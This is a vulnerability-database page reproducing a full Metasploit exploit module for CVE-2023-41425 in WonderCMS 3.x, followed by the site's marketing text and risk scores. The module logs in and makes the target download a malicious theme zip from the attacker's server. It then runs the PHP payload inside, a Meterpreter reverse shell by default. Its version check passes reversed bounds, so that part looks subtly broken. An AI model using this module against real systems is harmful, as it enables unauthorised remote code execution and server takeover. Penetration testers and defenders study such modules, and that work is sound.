Lucene search
+L

📄 WonderCMS 3.x Remote Code Execution

🗓️ 01 May 2025 00:00:00Reported by msutovsky-r7, Milad KarimiType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 109 Views

WonderCMS 3.x authenticated file upload enables remote code execution via CVE 2023-41425.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'rex/zip'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WonderCMS Remote Code Execution',
            'Description' => %q{
              This module exploits CVE-2023-41425, an authenticated file upload vulnerability affecting WonderCMS between 3.2.0 and 3.4.2.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'msutovsky-r7', # msf module
              'Milad "Ex3ptionaL" Karimi' # original exploit
            ],
            'References' => [
              [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-41425'],
              [ 'URL', 'https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413'],
              [ 'CVE', '2023-41425'],
              [ 'EDB', '52271']
            ],
            'Targets' => [
              [
                'PHP',
                {
                  'Platform' => ['php'],
                  'Arch' => ARCH_PHP,
                  'Type' => :php,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'DisclosureDate' => '2023-11-07',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Path to the WonderCMS application', '/wondercms']),
          OptString.new('PASSWORD', [true, 'Password to log into WonderCMS', '']),
          OptBool.new('CLEANUP', [false, 'Enable payload file cleanup', true])
        ])
      end
    
      def login
        return if @logged_in
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, '/loginURL'),
          'keep_cookies' => true,
          'vars_post' => {
            'password' => datastore['PASSWORD']
          }
        })
    
        fail_with(Failure::NoAccess, 'Incorrect credentials') unless res&.code == 302 && !res.headers&.fetch('Location', '')&.include?('loginURL')
    
        @logged_in = true
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, '/how-to')
        })
        return Exploit::CheckCode::Unknown('Cannot connect to the remote host') unless res&.code == 200
    
        return Exploit::CheckCode::Safe('WonderCMS was not detected') unless res.body&.include?('WonderCMS')
    
        vprint_status('Target is probably WonderCMS..')
    
        login
    
        res = send_request_cgi!({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path)
        })
    
        return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200
    
        html_document = res.get_html_document
    
        html_document.xpath('//a[@href="https://wondercms.com"]').find { |link| link.text =~ /WonderCMS (\d.\d?\d?.\d?\d?)/ }
    
        version = Rex::Version.new(Regexp.last_match(1))
    
        return Exploit::CheckCode::Unknown('Unable to get version') unless version
    
        return Msf::Exploit::CheckCode::Safe("WonderCMS #{version} is not affected") if version.between?(Rex::Version.new('3.4.2'), Rex::Version.new('3.2.0'))
    
        return Exploit::CheckCode::Vulnerable("Version #{version} is affected")
      end
    
      def create_vulnerable_zip
        @payload_filename = "#{Rex::Text.rand_text_alphanumeric(3..12)}.php"
        files =
          [
            { data: payload.encoded, fname: @payload_filename }
          ]
    
        @vuln_zip = Msf::Util::EXE.to_zip(files)
        register_file_for_cleanup(@payload_filename) if datastore['CLEANUP']
      end
    
      def on_request_uri(cli, _request)
        print_status('Received request, sending payload..')
        send_response(cli, @vuln_zip)
      end
    
      def install_malicious_component
        res = send_request_cgi!({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path)
        })
    
        return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200
    
        html_document = res.get_html_document
        @token = html_document.at("input[@name='token']").attributes.fetch('value', nil)
    
        return Exploit::CheckCode::Unknown('Failed to get token') unless @token
    
        send_request_cgi!({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@zip_filename}&directoryName=#{Rex::Text.rand_text_alphanumeric(1..8)}&type=themes&token=#{@token}")
        })
      end
    
      def exploit
        if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
          fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
        end
    
        login
    
        create_vulnerable_zip
    
        @zip_filename = "#{Rex::Text.rand_text_alphanumeric(4..8)}.zip"
        start_service({
          'Uri' => {
            'Proc' => proc do |cli, req|
              on_request_uri(cli, req)
            end,
            'Path' => "/#{@zip_filename}"
          }
        })
    
        install_malicious_component
    
        send_request_cgi!({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, "/themes/#{@payload_filename}")
        })
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 May 2025 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.16.1
EPSS0.54026
SSVC
109